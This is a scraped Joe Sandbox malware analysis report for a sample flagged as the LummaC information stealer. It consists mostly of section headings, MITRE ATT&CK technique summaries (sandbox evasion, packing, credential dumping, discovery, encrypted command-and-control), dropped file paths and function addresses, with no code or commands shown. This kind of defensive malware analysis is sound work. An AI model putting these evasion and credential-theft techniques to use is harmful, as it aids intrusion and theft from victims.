Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\T4SWNFFH9VCKTA3D54ZZ0K.exe.log

C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00867241 Relevance: 1.6, APIs: 1, Instructions: 107
libraryCOMMON

Function 00876B5E Relevance: 4.6, APIs: 3, Instructions: 85
registryCOMMON

Function 0086710C Relevance: 1.6, APIs: 1, Instructions: 97
libraryCOMMON

Function 04C50D43 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Function 04C50D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04C51509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04C51510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04C51301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Function 04C51308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 0086A94C Relevance: 1.5, APIs: 1, Instructions: 32
fileCOMMON

Function 0086AAC3 Relevance: 1.5, APIs: 1, Instructions: 32
fileCOMMON

Function 0086AADB Relevance: 1.5, APIs: 1, Instructions: 28
fileCOMMON

Function 0086AC86 Relevance: 1.5, APIs: 1, Instructions: 28
fileCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre